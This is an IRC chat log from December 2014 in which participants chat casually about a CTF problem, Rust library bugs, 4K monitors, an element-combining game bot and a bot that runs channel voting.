[2014-12-01T21:02:50-0500] <+sdamashek> ok, I'm wondering why my solution isn't working
[2014-12-01T21:03:17-0500] <alokpathy> sdamashek: Which problem?
[2014-12-01T21:03:18-0500] <+sdamashek> Python Basics 10
[2014-12-01T21:04:02-0500] <+JacobEdelman> I think there was a clarification for that
[2014-12-01T21:04:05-0500] <+JacobEdelman> or maybe not
[2014-12-01T21:04:30-0500] <+sdamashek> it says print the ascii representation of it
[2014-12-01T21:04:36-0500] <+sdamashek> which I am
[2014-12-01T21:05:51-0500] <+JacobEdelman> no idea than
[2014-12-01T21:05:52-0500] <+JacobEdelman> sorry
[2014-12-01T21:05:54-0500] <+JacobEdelman> keep trying
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[2014-12-01T21:08:22-0500] <+JacobEdelman> https://github.com/munificent/vigil
[2014-12-01T21:08:27-0500] <+JacobEdelman> the programming language of the future
[2014-12-01T21:08:29-0500] <+JacobEdelman> oh yes
[2014-12-01T21:09:00-0500] <+JacobEdelman> everybody, this is Eleng555, a person who is helping  run easyctf
[2014-12-01T21:09:12-0500] <+JacobEdelman> Eleng555, this is everybody
[2014-12-01T21:09:27-0500] <Eleng555> ohi
[2014-12-01T21:12:52-0500] <alokpathy> Eleng555: Salutations.
[2014-12-01T21:13:40-0500] <Eleng555> hiya
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[2014-12-01T21:15:09-0500] Pidgey sets mode +v alokpathy
[2014-12-01T21:26:07-0500] <LittleBobbyTables> ohhi Eleng555 
[2014-12-01T21:26:14-0500] <LittleBobbyTables> WOW JacobEdelman 
[2014-12-01T21:26:17-0500] <LittleBobbyTables> I've linked that like
[2014-12-01T21:26:18-0500] <LittleBobbyTables> 20 times
[2014-12-01T21:26:21-0500] <LittleBobbyTables> Since this irc has started
[2014-12-01T21:27:21-0500] <+JacobEdelman> really?
[2014-12-01T21:27:24-0500] <+JacobEdelman> I saw it a while ago
[2014-12-01T21:27:28-0500] <+JacobEdelman> but just saw it again
[2014-12-01T21:27:35-0500] <+JacobEdelman> and remembered how asesome it was
[2014-12-01T21:27:41-0500] <+JacobEdelman> *awe-some
[2014-12-01T21:32:10-0500] <@awe> hi Eleng555
[2014-12-01T21:32:29-0500] <Eleng555> hi awe
[2014-12-01T21:36:24-0500] <+JacobEdelman> gnight
[2014-12-01T21:45:08-0500] <@awe> Vigil is design-by-contract.
[2014-12-01T21:45:32-0500] <@awe> With a contract in blood.
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[2014-12-01T21:52:37-0500] <@awe> @keybase awe
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[2014-12-01T21:52:57-0500] <@awe> @keybase awe
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[2014-12-01T21:55:22-0500] <@awe> @keybase awe
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[2014-12-01T21:57:21-0500] <@awe> I do not understand.
[2014-12-01T21:57:45-0500] <@awe> let mut req = Request::get(...)
[2014-12-01T21:57:55-0500] <@awe> Y U NO WERK?
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[2014-12-01T22:00:27-0500] <@awe> @keybase awe
[2014-12-01T22:01:01-0500] <@awe> frame #5: 0x0000000104032ad0 libkeybase.dylib`hyper::client::request::Request<Fresh>::with_stream<hyper::net::HttpStream>(method=Method at 0x00007fff5fbfcfd8, url=Url at 0x00007fff5fbfcf00) + 448 at <log macros>:6
[2014-12-01T22:01:03-0500] <@awe> Hmm.
[2014-12-01T22:01:28-0500] <+Hyper> lol
[2014-12-01T22:01:36-0500] <+Hyper> I thought I was being pinged
[2014-12-01T22:02:16-0500] <+Hyper> lots of "hyper"'s in there
[2014-12-01T22:02:20-0500] <@awe> Oh.
[2014-12-01T22:02:20-0500] <@awe> Sorry.
[2014-12-01T22:02:25-0500] <@awe> I forgot that the name of the library was your name.
[2014-12-01T22:03:37-0500] <Tam> lol
[2014-12-01T22:03:47-0500] <Tam> this is the issue with having common words as your name :P
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[2014-12-01T22:06:00-0500] <@awe> Tam: I don't have this issue.
[2014-12-01T22:06:27-0500] <Tam> well i guess we better start making more awe puns then
[2014-12-01T22:06:33-0500] <@awe> Lol, please no
[2014-12-01T22:08:39-0500] <Tam> make my phone autocorrect aww to awe again
[2014-12-01T22:08:50-0500] <@awe> That shouldn't be too hard.
[2014-12-01T22:09:28-0500] <Tam> :P
[2014-12-01T22:09:32-0500] <+Hyper> this is probably the first time I've actually had an issue with it
[2014-12-01T22:09:33-0500] <+Hyper> eh
[2014-12-01T22:13:38-0500] <@awe> I'm super annoyed.
[2014-12-01T22:13:49-0500] <@awe> I have two weird issues with dynamic library support in Rust.
[2014-12-01T22:13:52-0500] <@awe> and nobody seems to know anything about it.
[2014-12-01T22:14:00-0500] <@awe> But the issues are identical.
[2014-12-01T22:14:37-0500] <@awe> Both times, I call some external crate (serialize in one, hyper in the other) and then it gives me a similar stacktrace.
[2014-12-01T22:15:12-0500] Hyper is now known as Hyyper
[2014-12-01T22:15:16-0500] <+Hyyper> that'll do for now
[2014-12-01T22:16:14-0500] <Tam> :P
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[2014-12-01T22:16:37-0500] <@awe> @ddg eat a dick
[2014-12-01T22:16:37-0500] <awebot> awe: https://duckduckgo.com/?q=eat+a+dick
[2014-12-01T22:16:43-0500] <@awe> Cool.
[2014-12-01T22:16:50-0500] <@awe> I changed it to convert %20 to +. :D
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[2014-12-01T22:21:23-0500] <LittleBobbyTables> That doesn't seem that hard
[2014-12-01T22:21:25-0500] <LittleBobbyTables> ;/
[2014-12-01T22:21:32-0500] <@awe> That change?
[2014-12-01T22:21:33-0500] <@awe> It wasn't.
[2014-12-01T22:21:35-0500] <@awe> It was one line.
[2014-12-01T22:21:39-0500] <@awe> Not even.
[2014-12-01T22:21:41-0500] <@awe> It was a change to one line.
[2014-12-01T22:22:06-0500] <@awe> str -> replace(str, "%20", "+")[]
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[2014-12-01T22:22:13-0500] <LittleBobbyTables> yepp
[2014-12-01T22:22:21-0500] <LittleBobbyTables> Does rust have a "url decode"?
[2014-12-01T22:22:26-0500] <@awe> Yeah.
[2014-12-01T22:22:31-0500] <@awe> Well, not officially.
[2014-12-01T22:23:32-0500] <nezorg> so apparently my proxy crashed about 9 hours ago
[2014-12-01T22:23:36-0500] <nezorg> I need logs!
[2014-12-01T22:23:55-0500] <nezorg> also, I caved and bought that 4k monitor :(
[2014-12-01T22:24:57-0500] <LittleBobbyTables> Which one
[2014-12-01T22:24:59-0500] <Tam> LOL
[2014-12-01T22:24:59-0500] <LittleBobbyTables> The 200 dollar one?
[2014-12-01T22:25:01-0500] <Tam> yay <3
[2014-12-01T22:25:05-0500] <nezorg> LittleBobbyTables: no, the 450 one
[2014-12-01T22:25:07-0500] <Tam> also guys guys don't talk to nezorg
[2014-12-01T22:25:09-0500] <Tam> he's dead :X
[2014-12-01T22:25:09-0500] <nezorg> I haven't seen a 200 one
[2014-12-01T22:25:14-0500] <Tam> he's the ghost of nezorg past
[2014-12-01T22:25:19-0500] <nezorg> Tam: obv
[2014-12-01T22:25:22-0500] <LittleBobbyTables> Sorry, 300
[2014-12-01T22:25:25-0500] <nezorg> oh, that one?
[2014-12-01T22:25:27-0500] <nezorg> it's only 30hz
[2014-12-01T22:25:34-0500] <Tam> nezorg: your heart beats at 0 bpm, you must be dead D:
[2014-12-01T22:25:41-0500] <LittleBobbyTables> Is it?
[2014-12-01T22:25:44-0500] <LittleBobbyTables> I thought it was 60
[2014-12-01T22:25:48-0500] <LittleBobbyTables> the dell 28 inch one?
[2014-12-01T22:25:51-0500] <nezorg> LittleBobbyTables: which I wouldn't think would be that bad, but all the reviews say 30hz is death
[2014-12-01T22:25:53-0500] <nezorg> LittleBobbyTables: yeah
[2014-12-01T22:26:00-0500] <LittleBobbyTables> 30hz is so bad
[2014-12-01T22:26:03-0500] <LittleBobbyTables> especially on 4k
[2014-12-01T22:26:03-0500] <LittleBobbyTables> :/
[2014-12-01T22:27:15-0500] <nezorg> http://accessories.us.dell.com/sna/productdetail.aspx?c=us&l=en&s=dhs&cs=19&sku=210-ACHO&baynote_bnrank=0&baynote_irrank=1&~ck=dellSearch
[2014-12-01T22:27:23-0500] <nezorg> "3840 x 2160 at 30 Hz"
[2014-12-01T22:27:36-0500] <nezorg> the one I got tom's hardware really liked
[2014-12-01T22:27:49-0500] <nezorg> still expensive, but will hopefully be worth it
[2014-12-01T22:27:56-0500] <nezorg> anyway, can anyone procure logs for me?
[2014-12-01T22:28:06-0500] <LittleBobbyTables> how far back
[2014-12-01T22:28:17-0500] <nezorg> ~9 hours
[2014-12-01T22:28:51-0500] <LittleBobbyTables> https://www.irccloud.com/pastebin/h2HMGZr7
[2014-12-01T22:29:24-0500] <nezorg> thx
[2014-12-01T22:29:44-0500] <Tam> lol nezorg
[2014-12-01T22:29:50-0500] <Tam> so attached to them logs
[2014-12-01T22:29:52-0500] <Tam> you didnt even miss much
[2014-12-01T22:30:02-0500] <Tam> just me going "huh where's nezorg he seems to have DIED"
[2014-12-01T22:30:23-0500] <nezorg> lol
[2014-12-01T22:31:09-0500] <nezorg> awe: the UFCS that rust is getting is backwards from D's
[2014-12-01T22:31:26-0500] <nezorg> UFCS in rust will allow you to write `foo.bar(a, b)` as `Foo::bar(foo, a, b)`
[2014-12-01T22:31:42-0500] <LittleBobbyTables> Hey
[2014-12-01T22:31:44-0500] <nezorg> it won't allow you to write `bar(foo, a, b)` as `foo.bar(a, b)`
[2014-12-01T22:31:44-0500] <LittleBobbyTables> nezorg
[2014-12-01T22:31:49-0500] <LittleBobbyTables> I found something better you can buy
[2014-12-01T22:31:51-0500] <LittleBobbyTables> That's not a monitor
[2014-12-01T22:31:58-0500] <LittleBobbyTables> http://www.amazon.com/Intel-CM8063601213513-Pentadeca-core-Processor-Overclocking/dp/B00JNVF3VS
[2014-12-01T22:32:19-0500] hardmath123 is now known as alchemy
[2014-12-01T22:32:24-0500] <nezorg> only 15 core? lol
[2014-12-01T22:32:30-0500] <nezorg> my server has 18 cores
[2014-12-01T22:32:32-0500] <nezorg> (...not really)
[2014-12-01T22:32:42-0500] <nezorg> (but there are xeons with 18 cores)
[2014-12-01T22:33:01-0500] <LittleBobbyTables> They're slower overall though
[2014-12-01T22:33:07-0500] alchemy is now known as hardmath123
[2014-12-01T22:33:10-0500] <hardmath123> (sorry 'bout that)
[2014-12-01T22:33:11-0500] <Tam> @combine fire water
[2014-12-01T22:33:12-0500] <Tam> aw
[2014-12-01T22:33:12-0500] <Tam> :P
[2014-12-01T22:33:22-0500] <Tam> i was going to get angry because alchemy wasnt working
[2014-12-01T22:33:29-0500] <hardmath123> (trying to get it working on #easyctf)
[2014-12-01T22:34:33-0500] <nezorg> awe: what order are the proposals listed in?
[2014-12-01T22:34:40-0500] <nezorg> is it pseudo-random (i.e. in a hashmap)?
[2014-12-01T22:40:22-0500] hardmath123 is now known as alchemy
[2014-12-01T22:40:29-0500] <nezorg> Tam: you mentioned my disappearance once in about 450 lines... that's almost certainly "just" what happened, yeah
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[2014-12-01T22:41:38-0500] <Tam> :P
[2014-12-01T22:41:40-0500] <Tam> yeah, obviously
[2014-12-01T22:41:44-0500] <Tam> since I am most important obviously
[2014-12-01T22:42:31-0500] <LittleBobbyTables> Guys
[2014-12-01T22:42:42-0500] <LittleBobbyTables> Part of my computer arrived like 20 minutes from me.
[2014-12-01T22:42:55-0500] <LittleBobbyTables> I saw a UPS truck across the street, delivering something else to my neighbors.
[2014-12-01T22:43:03-0500] <LittleBobbyTables> Why could they bring my package that arrived in stores 12 hours ago
[2014-12-01T22:45:53-0500] <LittleBobbyTables> nezorg
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[2014-12-01T22:46:02-0500] <LittleBobbyTables> the crystalpro one?
[2014-12-01T22:46:04-0500] <LittleBobbyTables> @list
[2014-12-01T22:46:04-0500] <alchemy> You have: fire, earth, water, air
[2014-12-01T22:46:05-0500] <alchemy> That's 4 out of 102!
[2014-12-01T22:46:05-0500] <hardmath123> @status
[2014-12-01T22:46:05-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-01T22:46:12-0500] <LittleBobbyTables> @combine fire earth
[2014-12-01T22:46:13-0500] <alchemy> You just discovered lava (fire + earth)!
[2014-12-01T22:46:15-0500] <LittleBobbyTables> @combine fire water
[2014-12-01T22:46:15-0500] <alchemy> You just discovered steam (fire + water)!
[2014-12-01T22:46:17-0500] <LittleBobbyTables> @combine fire air
[2014-12-01T22:46:18-0500] <alchemy> fire and air don't make anything exciting.
[2014-12-01T22:46:23-0500] <LittleBobbyTables> That's a lie
[2014-12-01T22:46:23-0500] <hardmath123> well, on the bright side, he still works on Pdgn
[2014-12-01T22:46:30-0500] <LittleBobbyTables> All four basic elements are supposed to combine.
[2014-12-01T22:46:33-0500] <hardmath123> on the less bright side, he still doesn't work on Mibbit
[2014-12-01T22:46:36-0500] <LittleBobbyTables> @combine earth water
[2014-12-01T22:46:36-0500] <alchemy> earth and water don't make anything exciting.
[2014-12-01T22:46:39-0500] <LittleBobbyTables> @combine earth air
[2014-12-01T22:46:40-0500] <alchemy> earth and air don't make anything exciting.
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[2014-12-01T22:46:49-0500] <LittleBobbyTables> damn it
[2014-12-01T22:46:51-0500] <+alokpathy> @list
[2014-12-01T22:47:27-0500] <LittleBobbyTables> If you wanna send me the source, I can implement it in my bot and have it cross-channel/server?
[2014-12-01T22:50:31-0500] <nezorg> LittleBobbyTables: the planar one
[2014-12-01T22:50:35-0500] <nezorg> planar ix2850
[2014-12-01T22:51:04-0500] <LittleBobbyTables> http://www.monoprice.com/Product?c_id=113&cp_id=11307&cs_id=1130703&p_id=12156&seq=1&format=2&cl=res&utm_source=141201_cm_email2&utm_medium=email&utm_content=12156&utm_campaign=cyber_monday_2014
[2014-12-01T22:52:51-0500] <nezorg> LittleBobbyTables: yeah, but there haven't been any reviews of it yet that I've seen
[2014-12-01T22:53:26-0500] <nezorg> plus it doesn't have usb ports (which I use a lot) nor can it show multiple inputs at once, which seems like a really useful feature of the planar one
[2014-12-01T22:53:27-0500] <hardmath123> oh
[2014-12-01T22:53:29-0500] <+Hyyper> nezorg: D's UFCS rewrites foo.bar(a, b) to bar(foo, a, b)
[2014-12-01T22:53:42-0500] <+Hyyper> oh
[2014-12-01T22:53:47-0500] <+Hyyper> that's what you said
[2014-12-01T22:53:50-0500] <hardmath123> it wants PONGS with the relevant payload
[2014-12-01T22:53:50-0500] <+Hyyper> I parsed backwards
[2014-12-01T22:53:51-0500] <+Hyyper> oops
[2014-12-01T22:53:55-0500] <hardmath123> everything makes sense now
[2014-12-01T22:54:01-0500] <LittleBobbyTables> hmm, true
[2014-12-01T22:54:44-0500] <nezorg> LittleBobbyTables: some 4k monitors have really bad colors, which is why a good review is so important
[2014-12-01T22:55:00-0500] <LittleBobbyTables> Yeah
[2014-12-01T22:56:32-0500] <nezorg> although the stand on this one looks better
[2014-12-01T22:56:46-0500] <nezorg> but the planar one supports a vesa mount, so it's not like that's hard to fix
[2014-12-01T22:56:57-0500] <LittleBobbyTables> vesa mounts are good
[2014-12-01T22:57:03-0500] <LittleBobbyTables> Sounds like it, at least
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[2014-12-01T23:29:38-0500] <hardmath123> @status
[2014-12-01T23:29:38-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-01T23:29:39-0500] <hardmath123> Yay.
[2014-12-01T23:30:04-0500] <Tam> yay
[2014-12-01T23:30:08-0500] <Tam> hi alchemy <3
[2014-12-01T23:30:43-0500] <hardmath123> it's sad how my bot has more social interaction than i do
[2014-12-01T23:32:07-0500] <Tam> LOL
[2014-12-01T23:32:09-0500] <Tam> hi hardmath123 
[2014-12-01T23:32:10-0500] <Tam> how was your day
[2014-12-01T23:32:38-0500] <hardmath123> hi Tam
[2014-12-01T23:32:44-0500] <hardmath123> it was nice, thanks for asking.
[2014-12-01T23:32:54-0500] <hardmath123> whoa all that socialness was exhausting
[2014-12-01T23:32:59-0500] <hardmath123> i need a drink
[2014-12-01T23:33:05-0500] <Tam> see, this is why your bot gets more social interaction than you
[2014-12-01T23:33:18-0500] • hardmath123: is afk; fridge too far from computer
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[2014-12-01T23:45:43-0500] <nezorg> hardmath123: don't worry, my bots as well get far more social interactions than I do
[2014-12-01T23:46:13-0500] <nezorg> s/ns/n/
[2014-12-01T23:46:54-0500] <Tam> i miss ten64
[2014-12-01T23:46:55-0500] <Tam> :(
[2014-12-01T23:46:58-0500] <Tam> he was so cute
[2014-12-01T23:46:59-0500] <LittleBobbyTables> @list
[2014-12-01T23:47:00-0500] <alchemy> You have: fire, lava, air, water, earth, steam
[2014-12-01T23:47:00-0500] <alchemy> That's 6 out of 102!
[2014-12-01T23:47:00-0500] <Tam> I mea-
[2014-12-01T23:47:07-0500] <LittleBobbyTables> @combine fire fire
[2014-12-01T23:47:07-0500] <alchemy> You just discovered energy (fire + fire)!
[2014-12-01T23:47:07-0500] <Tam> @combine fire water
[2014-12-01T23:47:08-0500] <alchemy> You already combined fire and water to get steam.
[2014-12-01T23:47:12-0500] <LittleBobbyTables> @combine steam fire
[2014-12-01T23:47:13-0500] <alchemy> steam and fire don't make anything exciting.
[2014-12-01T23:47:14-0500] <Tam> @combine fire earth
[2014-12-01T23:47:15-0500] <alchemy> You already combined fire and earth to get lava.
[2014-12-01T23:47:15-0500] <LittleBobbyTables> @combine steam water
[2014-12-01T23:47:15-0500] <alchemy> steam and water don't make anything exciting.
[2014-12-01T23:47:18-0500] <LittleBobbyTables> @combine steam air
[2014-12-01T23:47:18-0500] <alchemy> steam and air don't make anything exciting.
[2014-12-01T23:47:21-0500] <nezorg> @list
[2014-12-01T23:47:21-0500] <alchemy> You have: fire, energy, lava, air, water, earth, steam
[2014-12-01T23:47:21-0500] <alchemy> That's 7 out of 102!
[2014-12-01T23:47:22-0500] <Tam> @list
[2014-12-01T23:47:22-0500] <alchemy> You have: fire, energy, lava, air, water, earth, steam
[2014-12-01T23:47:22-0500] <alchemy> That's 7 out of 102!
[2014-12-01T23:47:22-0500] <LittleBobbyTables> @combine earth steam
[2014-12-01T23:47:23-0500] <alchemy> earth and steam don't make anything exciting.
[2014-12-01T23:47:28-0500] <LittleBobbyTables> @combine energy air
[2014-12-01T23:47:29-0500] <alchemy> You just discovered wind (energy + air)!
[2014-12-01T23:47:29-0500] <nezorg> @combine energy earth
[2014-12-01T23:47:29-0500] <alchemy> energy and earth don't make anything exciting.
[2014-12-01T23:47:33-0500] <LittleBobbyTables> @combine steam wind
[2014-12-01T23:47:34-0500] <alchemy> steam and wind don't make anything exciting.
[2014-12-01T23:47:35-0500] <LittleBobbyTables> @combine energy wind
[2014-12-01T23:47:36-0500] <alchemy> energy and wind don't make anything exciting.
[2014-12-01T23:47:37-0500] <nezorg> @combine lava air
[2014-12-01T23:47:37-0500] <alchemy> lava and air don't make anything exciting.
[2014-12-01T23:47:38-0500] <LittleBobbyTables> @combine air wind
[2014-12-01T23:47:39-0500] <alchemy> air and wind don't make anything exciting.
[2014-12-01T23:47:43-0500] <nezorg> @combine lava water
[2014-12-01T23:47:43-0500] <LittleBobbyTables> @combine lava wind
[2014-12-01T23:47:43-0500] <alchemy> You just discovered stone (lava + water)!
[2014-12-01T23:47:44-0500] <alchemy> lava and wind don't make anything exciting.
[2014-12-01T23:47:51-0500] <LittleBobbyTables> @combine stone earth
[2014-12-01T23:47:51-0500] <alchemy> stone and earth don't make anything exciting.
[2014-12-01T23:47:54-0500] <nezorg> @combine steam lava
[2014-12-01T23:47:54-0500] <alchemy> steam and lava don't make anything exciting.
[2014-12-01T23:48:00-0500] <LittleBobbyTables> @combine water air
[2014-12-01T23:48:01-0500] <alchemy> You just discovered cloud (water + air)!
[2014-12-01T23:48:02-0500] <nezorg> @combine earth water
[2014-12-01T23:48:03-0500] <alchemy> earth and water don't make anything exciting.
[2014-12-01T23:48:06-0500] <LittleBobbyTables> @combine energy cloud
[2014-12-01T23:48:06-0500] <alchemy> You just discovered lightning (energy + cloud)!
[2014-12-01T23:48:10-0500] <nezorg> @combine water water
[2014-12-01T23:48:10-0500] <alchemy> You just discovered ocean (water + water)!
[2014-12-01T23:48:13-0500] <nezorg> wat
[2014-12-01T23:48:14-0500] <LittleBobbyTables> @combine lightning energy
[2014-12-01T23:48:14-0500] <alchemy> lightning and energy don't make anything exciting.
[2014-12-01T23:48:17-0500] <LittleBobbyTables> @list
[2014-12-01T23:48:18-0500] <alchemy> You have: stone, fire, energy, lava, air, water, cloud, ocean, earth, lightning, steam, wind
[2014-12-01T23:48:18-0500] <alchemy> That's 12 out of 102!
[2014-12-01T23:48:21-0500] <hardmath123> do y'all want the old progress brought back?
[2014-12-01T23:48:23-0500] <LittleBobbyTables> @combine ocean energy
[2014-12-01T23:48:23-0500] <alchemy> ocean and energy don't make anything exciting.
[2014-12-01T23:48:25-0500] <LittleBobbyTables> Yes
[2014-12-01T23:48:26-0500] <hardmath123> i have it saved in a file
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[2014-12-01T23:48:28-0500] <hardmath123> 'k
[2014-12-01T23:48:31-0500] <LittleBobbyTables> I also want the full version
[2014-12-01T23:48:36-0500] <LittleBobbyTables> Not the half-way verision
[2014-12-01T23:48:37-0500] <LittleBobbyTables> :/
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[2014-12-01T23:48:49-0500] <hardmath123> @list
[2014-12-01T23:48:49-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-12-01T23:48:49-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-12-01T23:48:49-0500] <alchemy> That's 37 out of 102!
[2014-12-01T23:49:06-0500] <nezorg> @combine ice fire
[2014-12-01T23:49:06-0500] <alchemy> ice and fire don't make anything exciting.
[2014-12-01T23:49:10-0500] <nezorg> @combine man fire
[2014-12-01T23:49:11-0500] <alchemy> You already combined man and fire to get fireman.
[2014-12-01T23:49:13-0500] <nezorg> wa
[2014-12-01T23:49:14-0500] <nezorg> t
[2014-12-01T23:49:17-0500] <LittleBobbyTables> @combine neaderthal evil
[2014-12-01T23:49:17-0500] <alchemy> You don't have neaderthal!
[2014-12-01T23:49:19-0500] <nezorg> @combine fireman water
[2014-12-01T23:49:19-0500] <hardmath123> LittleBobbyTables: you mean the i-made-this-in-a-few-sleep-deprived-nights-with-no-intention-to-distribute version?
[2014-12-01T23:49:19-0500] <alchemy> fireman and water don't make anything exciting.
[2014-12-01T23:49:21-0500] <LittleBobbyTables> wut
[2014-12-01T23:49:31-0500] <LittleBobbyTables> Your bot is broken
[2014-12-01T23:49:36-0500] <nezorg> @combine neanderthal evil
[2014-12-01T23:49:36-0500] <alchemy> neanderthal and evil don't make anything exciting.
[2014-12-01T23:49:41-0500] <LittleBobbyTables> owait
[2014-12-01T23:49:41-0500] <nezorg> LittleBobbyTables: you can't spell
[2014-12-01T23:49:44-0500] <LittleBobbyTables> shh
[2014-12-01T23:49:52-0500] <hardmath123> also
[2014-12-01T23:49:52-0500] <LittleBobbyTables> neaderthal
[2014-12-01T23:49:55-0500] <LittleBobbyTables> omg that was so bad
[2014-12-01T23:49:56-0500] <LittleBobbyTables> lmao
[2014-12-01T23:50:00-0500] <hardmath123> when were you deopped?
[2014-12-01T23:50:00-0500] <Tam> @list
[2014-12-01T23:50:01-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-12-01T23:50:01-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-12-01T23:50:01-0500] <alchemy> That's 37 out of 102!
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[2014-12-01T23:50:11-0500] <Tam> @combine lava air
[2014-12-01T23:50:12-0500] <alchemy> lava and air don't make anything exciting.
[2014-12-01T23:50:22-0500] <LittleBobbyTables> When people were like
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[2014-12-01T23:50:27-0500] <LittleBobbyTables> "HYPER DEOP HIM"
[2014-12-01T23:50:28-0500] <LittleBobbyTables> and he did :(
[2014-12-01T23:50:35-0500] <+hardmath123> .active
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 4, N 1).
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-12-01T23:50:35-0500] <&Pidgey> Proposal (9) to oper LittleBobbyTables (Y: 1, N 0).
[2014-12-01T23:50:50-0500] <nezorg> .propose oper nezorg
[2014-12-01T23:50:50-0500] <&Pidgey> You must be identified to do that.
[2014-12-01T23:50:53-0500] <nezorg> lol
[2014-12-01T23:51:24-0500] <+hardmath123> .vote 1 yea
[2014-12-01T23:51:24-0500] <&Pidgey> Vote issued.
[2014-12-01T23:51:28-0500] <+hardmath123> .active
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 5, N 1).
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-12-01T23:51:29-0500] <&Pidgey> Proposal (9) to oper LittleBobbyTables (Y: 1, N 0).
[2014-12-01T23:51:29-0500] <nezorg> .propose oper nezorg
[2014-12-01T23:51:29-0500] <&Pidgey> You must be identified to do that.
[2014-12-01T23:51:32-0500] <LittleBobbyTables> .vote 9 yea
[2014-12-01T23:51:33-0500] <&Pidgey> You've already voted in that proposal.
[2014-12-01T23:51:37-0500] <+hardmath123> .vote 2 yea
[2014-12-01T23:51:37-0500] <&Pidgey> Vote issued.
[2014-12-01T23:51:38-0500] <LittleBobbyTables> .vote 8 yea
[2014-12-01T23:51:38-0500] <&Pidgey> Vote issued.
[2014-12-01T23:51:43-0500] <+hardmath123> .vote 8 nay
[2014-12-01T23:51:43-0500] <&Pidgey> Vote issued.
[2014-12-01T23:51:49-0500] <+hardmath123> .vote 4 nay
[2014-12-01T23:51:49-0500] <&Pidgey> Vote issued.
[2014-12-01T23:51:55-0500] <+hardmath123> .vote 6 yea
[2014-12-01T23:51:55-0500] <&Pidgey> Vote issued.
[2014-12-01T23:51:57-0500] <+ubuntor> hm, i need more channels to join
[2014-12-01T23:52:01-0500] <+hardmath123> .vote 3 nay
[2014-12-01T23:52:01-0500] <&Pidgey> Vote issued.
[2014-12-01T23:52:15-0500] <nezorg> am I ID'd?
[2014-12-01T23:52:16-0500] <LittleBobbyTables> http://gyazo.com/5d7e94042a256f3d1a19b92ddd286666
[2014-12-01T23:52:16-0500] <+hardmath123> .vote 9 yea
[2014-12-01T23:52:16-0500] <&Pidgey> Vote issued.
[2014-12-01T23:52:32-0500] <+hardmath123> so much democracy. i'm going to puke.
[2014-12-01T23:52:51-0500] <+ubuntor> all those pico channels...
[2014-12-01T23:53:06-0500] <Tam> nezorg: you should totally id
[2014-12-01T23:53:07-0500] <Tam> you need a say
[2014-12-01T23:53:10-0500] <Tam> this is democracy
[2014-12-01T23:53:50-0500] <LittleBobbyTables> I own a lot of them
[2014-12-01T23:55:29-0500] <nezorg> Tam: I thought I did...
[2014-12-01T23:55:59-0500] <nezorg>  /msg Pidgey NS REGISTER hunter2
[2014-12-01T23:56:06-0500] <nezorg> right?
[2014-12-01T23:56:20-0500] <LittleBobbyTables> yeah but
[2014-12-01T23:56:24-0500] <+ubuntor> all i see is /msg Pidgey NS REGISTER *******
[2014-12-01T23:56:34-0500] <Tam> <3
[2014-12-01T23:56:34-0500] <LittleBobbyTables>  /ns identify *******
[2014-12-01T23:56:36-0500] <nezorg> ubuntor: yeah, I know irc servers hide your password
[2014-12-01T23:56:44-0500] <+ubuntor> amazing
[2014-12-01T23:58:32-0500] <+hardmath123> it took me a moment to understand what was going on
[2014-12-01T23:58:37-0500] <+hardmath123> i must be growing old
[2014-12-02T00:00:28-0500] <Tam> this just reminds me of that one time
[2014-12-02T00:00:35-0500] <Tam> alokpathy legit derped with his password
[2014-12-02T00:01:14-0500] <LittleBobbyTables> tam
[2014-12-02T00:01:19-0500] <LittleBobbyTables> what's your pass
[2014-12-02T00:01:29-0500] <+hardmath123> inb4 it was the flag to `failedxyz`
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[2014-12-02T00:04:37-0500] <Tam> LittleBobbyTables: *******
[2014-12-02T00:04:54-0500] <LittleBobbyTables> Oh, I knew it was "ilovelbt"
[2014-12-02T00:05:02-0500] <+alokpathy> Tam: Shush that was embarrassing 
[2014-12-02T00:05:21-0500] <@awe> the flag is actually freefreepalestine
[2014-12-02T00:06:56-0500] <Tam> lol
[2014-12-02T00:07:35-0500] <nezorg> LittleBobbyTables: that doesn't even match the length
[2014-12-02T00:08:01-0500] <LittleBobbyTables> IRC defaults to 7 stars.
[2014-12-02T00:08:06-0500] <LittleBobbyTables> Don't ask why, it should be 8, I know
[2014-12-02T00:09:03-0500] <Tam> LOL
[2014-12-02T00:09:05-0500] <Tam> its actually
[2014-12-02T00:09:14-0500] <Tam> lamelbt
[2014-12-02T00:09:28-0500] <LittleBobbyTables> That's a lie
[2014-12-02T00:10:35-0500] <LittleBobbyTables> Tam
[2014-12-02T00:10:35-0500] <LittleBobbyTables> http://projectnebula.org/learn/index.php/The_A_-_Z_Of_E
[2014-12-02T00:10:36-0500] <LittleBobbyTables> what
[2014-12-02T00:10:38-0500] <LittleBobbyTables> is this
[2014-12-02T00:12:07-0500] <LittleBobbyTables> IM SO CONFUSED
